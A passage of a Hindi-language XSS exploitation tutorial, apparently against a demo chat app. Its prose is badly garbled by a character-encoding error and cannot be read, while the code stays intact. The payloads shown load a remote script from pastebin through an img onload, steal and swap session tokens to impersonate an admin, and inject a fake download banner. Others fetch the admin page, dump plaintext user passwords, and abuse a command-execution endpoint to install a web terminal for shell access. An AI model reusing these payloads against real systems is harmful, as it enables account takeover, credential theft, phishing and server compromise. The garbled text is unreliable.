рдПрдХреНрд╕рдПрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдирд╛

рдпрд╣ рд▓реЗрдЦ xss рднреЗрджреНрдпрддрд╛ рдХреЗ рдЙрдкрдпреЛрдЧ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рддрд╛ рд╣реИ:
- рдЯреЛрдХрди рдЪреЛрд░реА
- рдкрд░реНрдпрд╛рд╡рд░рдг рдХреА рдЪреЛрд░реА
- рд╕рд╛рдЗрдЯ рд╕рд╛рдордЧреНрд░реА рдкрд░рд┐рд╡рд░реНрддрди
- рд╣реЛрд╕реНрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛
рдкреНрд░рд╛рдЧрд┐рддрд┐рд╣рд╛рд╕

рддреЛ, рдЖрдк рдЪреИрдЯ рдкрд░ рдЧрдП, рдЖрдк рдирд╛рд░рд╛рдЬ рдереЗ, рдФрд░ рдЕрдм рдЖрдк рдмрджрд▓рд╛ рд▓реЗрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рд╕рдВрд╡рд╛рдж рд╕реЗ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдЖрдк рдЖрд╕рд╛рдиреА рд╕реЗ html рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдХрд┐ xss рдХреЗ рд▓рд┐рдП рдПрдХ рдЖрджрд░реНрд╢ рдЕрд╡рд╕рд░ рд╣реИ, рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЖрдкрдХреЛ рдЗрд╕ рддрд░рд╣ рдХреА рдЦрд╛рдорд┐рдпреЛрдВ рдкрд░ рдзреНрдпрд╛рди рджреЗрдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдирд╣реАрдВ рд╣реИред
рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдПрдБ
рд╣рдорд╛рд░реЗ рдкрд╛рд╕ HTML рднреЗрдЬрдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЗ рд╕рд╛рде рдПрдХ рдЪреИрдЯ рд╣реИред рддреЛ рдЪрд▓реЛ xss рдХрдВрд╕реЛрд▓ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред console.log('XSS stage 0')
рдФрд░ рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд┐рдпрд╛ред
рдорд╛рдорд▓рд╛ рдХреНрдпрд╛ рд╣реИ? рдХреНрд░реЛрдорд┐рдпрдо рдФрд░ рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕, innerHTML
рдорд╛рдзреНрдпрдо рд╕реЗ рдЬреЛрдбрд╝реЗ рдЧрдП рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░рддреЗ рд╣реИрдВред
рдареАрдХ рд╣реИ, рджреВрд╕рд░рд╛ рддрд░реАрдХрд╛ рдЖрдЬрдорд╛рдПрдВ
<img src="https://picsum.photos/200/200" onload="console.log('XSS')" />
рдХрдВрд╕реЛрд▓ рдореЗрдВ рдкреНрд░рджрд░реНрд╢рд┐рдд XSS рдХрд╛ рдЕрд░реНрде рд╣реИ рдХреЛрдб рдХрд╛рдо рдХрд┐рдпрд╛
рдЕрдм рдкрд╛рд╕реНрдЯрдмрд┐рди рдкрд░ рд╣рдо рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрдирд╛рдПрдВрдЧреЗ рдЬрд┐рд╕рдХреЗ рд╕рд╛рде рд╣рдо рдЦреЗрд▓реЗрдВрдЧреЗ
рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рд╛рдордЧреНрд░реА:
console.log('Script loaded')
рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдСрдирд▓реЛрдб рд╡рд┐рд╢реЗрд╖рддрд╛ рдореЗрдВ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рд▓рд┐рдЦреЗрдВ:
s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s)
рдФрд░ рдЕрдм рднреЗрдЬ рд░рд╣рд╛ рд╣реВрдВ
<img src="https://picsum.photos/200/200" onload="s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s)" />
рд╕рднреА рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рдЪрд┐рддреНрд░ рджреЗрдЦреЗрдВрдЧреЗ рдФрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдПрдВрдЧреЗ
рд░реЛрдм рдХреБрдХреАрдЬрд╝
рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд╕рд╛рде, рд╣рдордиреЗ рдЗрд╕реЗ рд╕рдордЭ рд▓рд┐рдпрд╛, рдЕрдм рд╣рдо рдСрдкрд░реЗрд╢рди рд╢реБрд░реВ рдХрд░реЗрдВрдЧреЗред рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдбреЗрдЯрд╛ рдХреЛ рдХрд╣реАрдВ рднреЗрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рд╣рдо рдЕрдиреБрд░реЛрдз рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ
рд▓реЗрдХрд┐рди рд╕рд┐рд░реНрдл рдПрдХ рд╣реА рдкрд╛рда рднреЗрдЬрдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рдирд╣реАрдВ рд╣реИ, рдЪрд▓реЛ рдХреБрдХреАрдЬрд╝ рднреЗрдЬреЗрдВ
рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдХреАрдЬрд╝ рдореЗрдВ рдЯреЛрдХрди рд╣реЛрддреЗ рд╣реИрдВред
рдЕрдиреБрд░реЛрдз рдореЗрдВ, рд╣рдореЗрдВ рджреЛ рдЯреЛрдХрди рдХреЗ рд╕рд╛рде рджреЛ рдЕрдиреБрд░реЛрдз рдорд┐рд▓рддреЗ рд╣реИрдВ:
-1067197389
1679211939
рдЪреВрдВрдХрд┐ рдореЗрд░рд╛ рдЯреЛрдХрди 1679211939
рддреЛ рдЯреЛрдХрди -1067197389
рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЯреЛрдХрди рдХреЗ рд╕рд╛рде рдЕрдкрдирд╛ рдЯреЛрдХрди рдмрджрд▓рдХрд░, рд╣рдо рдЙрд╕рдХреА рдУрд░ рд╕реЗ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ
рд╕рд╛рдордЧреНрд░реА рдкрд░рд┐рд╡рд░реНрддрди
рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЗ рд░реВрдк рдореЗрдВ рд▓рд┐рдЦрдирд╛ рдордЬреЗрджрд╛рд░ рд╣реИ, рд▓реЗрдХрд┐рди рдЪрд▓реЛ рд╕рд╛рдЗрдЯ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдереЛрдбрд╝рд╛ рдмрджрд▓ рджреЗрдВред рд╣рдорд╛рд░реА рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд▓рд┐рдкрд┐ рдореЗрдВ рдРрд╕реА рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЛ рдЬреЛрдбрд╝рдирд╛
let d = document.createElement('div') d.innerHTML = `<div style="position: fixed;top: 0;height: 20px;width: 100vw;color: white;text-align: center;background: purple;" onclick="document.location='/your_very_evil_program'">Download new appliction</div>` document.body.appendChild(d) document.getElementById('msgs').setAttribute('style', 'height: calc(100% - 60px);margin-top: 20px;')

рдЬрдм рд╣рдо рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреА рдУрд░ рд╕реЗ рдРрд╕реА рддрд╕реНрд╡реАрд░ рднреЗрдЬрддреЗ рд╣реИрдВ, рддреЛ рд╕рднреА рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдПрдХ рдмреИрдирд░ рдкреНрд░рд╛рдкреНрдд рд╣реЛрдЧрд╛, рдЬрд┐рд╕ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдкрд░ рд╣рдорд╛рд░реЗ /your_very_evil_program
рдУрд░ рдЬрд╛рддрд╛ рд╣реИ
рдкрд░реНрдпрд╛рд╡рд░рдг рдХреА рдЪреЛрд░реА
рдпрд╣ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкреИрдирд▓ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХрд╛ рд╕рдордп рд╣реИред рдФрд░ рдЗрд╕рд▓рд┐рдП рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ /admin
рдкрд░ рд╕реНрдерд┐рдд рд╣реИ рдФрд░ рд╡рд╣рд╛рдВ рд╣рдо ACCESS DENIED. BURN IN FIRE
рджреНрд╡рд╛рд░рд╛ рдорд┐рд▓реЗ рд╣реИрдВ ACCESS DENIED. BURN IN FIRE
ACCESS DENIED. BURN IN FIRE
, рдареАрдХ рд╣реИ, рдХреБрдХреАрдЬрд╝ рдореЗрдВ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЯреЛрдХрди рд╕реНрдерд╛рдирд╛рдкрдиреНрди рдХрд░реЗрдВред рдФрд░ рдлрд┐рд░, рдЙрдкрдпреЛрдЧ рд╕реЗ рдЗрдирдХрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХрд┐рд╕реА рдЕрдиреНрдп рддрд░реАрдХреЗ рд╕реЗ рд╣реЛрддрд╛ рд╣реИред рддреЛ рд╣рдо рдПрдбрдорд┐рди рдорд╢реАрди рд╕реЗ рдПрдбрдорд┐рди рдкреИрдирд▓ рдорд╛рдВрдЧрддреЗ рд╣реИрдВред
рдмреБрд░рд╛рдИ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рдЬреЛрдбрд╝реЗрдВ:
const admin = await (await fetch("/admin")).text()
рдФрд░ рдлрд┐рд░ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдореВрд▓реНрдп рдХреЛ рд╢рд░реАрд░ рдореЗрдВ рднреЗрдЬрддреЗ рд╕рдордп, рд╣рдо /admin
рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ
рд╣рдореЗрдВ рдПрдбрдорд┐рди рдХреЛрдб рдорд┐рд▓реЗрдЧрд╛
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <title>Admin</title> </head> <body> Hello admin<br /> <textarea id="users" rows="20" cols="100"></textarea><br /> <button id="updUsers">Update users</button><br /><br /> <script> let fetchUsrs = fetch("/users") .then(e => e.text()) .then(e => (document.getElementById("users").value = e)); document.getElementById("updUsers").onclick = () => { fetch("/users", { body: JSON.stringify({ data: document.getElementById("users").value.toString() }), headers: { Accept: "application/json, text/plain, */*", "Content-Type": "application/json" }, method: "POST" }).then(fetchUsrs); }; function toCmd(cmd) { document.location = "http://" + location.host + "/exec?cmd=" + encodeURIComponent(cmd); } </script> <button onclick="toCmd('free --human')">Check mem</button> <button onclick="toCmd('ps')">Show procs</button> </body> </html>
рдЗрд╕рд╕реЗ рдХреНрдпрд╛ рд╕реАрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
- рдПрдВрдбрдкреЙрдЗрдВрдЯ
/users
рдЬреЛ /users
рдХреЛ рд▓реМрдЯрд╛рддрд╛ рд╣реИ рдФрд░ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ - рдХреНрдпрд╛ рд╕рдорд╛рдкрди рдмрд┐рдВрджреБ
/exec?cmd
рдХрд╛рд░реНрдпрдХреНрд░рдо рдЪрд▓рд╛рдиреЗ рд╡рд╛рд▓реЗ /exec?cmd
рджреЛрдиреЛрдВ рд╕рдорд╛рдкрди рдмрд┐рдВрджреБ рд╣рдореЗрдВ рдПрдХреНрд╕реЗрд╕ рдирд╣реАрдВ рджреЗрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП /users
рдЦреАрдВрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ
{ "admin": "VerySecurePassword", "chiken": "COW+CHICKEN", "user001": "agent007", "justUser": "llkk", "test":"12" }
рддреЛ рдЕрдм рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рд▓реЙрдЧрд┐рди рд╣реИ рдФрд░ рдЕрдм рд╣рдо рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЗ рддрд╣рдд рд▓реЙрдЧ рдЗрди рдХрд░рддреЗ рд╣реИрдВ, рд╣рдореЗрдВ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкреИрдирд▓ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреА рд╣реИ, рдФрд░ рдХреБрдХреАрдЬрд╝ рдореЗрдВ http-only рдХреБрдХреА рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИ рдЬреЛ рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ
рд╕рд┐рд╕реНрдЯрдо рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛
рдЬреИрд╕рд╛ рдХрд┐ рдЖрдкрдХреЛ рдпрд╛рдж рд╣реИ, рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рд╕рдорд╛рдкрди рдмрд┐рдВрджреБ рд╣реИ рдЬреЛ рдХрдорд╛рдВрдб рдЪрд▓рд╛рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЕрдм рд╣рдо рдЬреЛ рдЪрд╛рд╣реЗрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдирд╣реАрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдо рд╕рд░реНрд╡рд░ рдкрд░ рдХрд┐рд░рдХрд┐рд░рд╛ рд╣реЛ рдЬрд╛рдПрдВрдЧреЗ
рдЕрдм рд╕реЗрдЯ /exec?cmd=npm%20i%20gritty%202%3E%261
рдФрд░ рд░рди /exec?cmd=node%20node_modules%2Fgritty%2Fbin%2Fgritty.js%20--port%208022
рдФрд░ рдкреЛрд░реНрдЯ 8022 рдкрд░, рдХрд┐рд░рдХрд┐рд░рд╛ рдЯрд░реНрдорд┐рдирд▓ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ
рдПрдХреНрд╕рдПрд╕рдПрд╕ - рдмреЗрд╣рдж рдЦрддрд░рдирд╛рдХ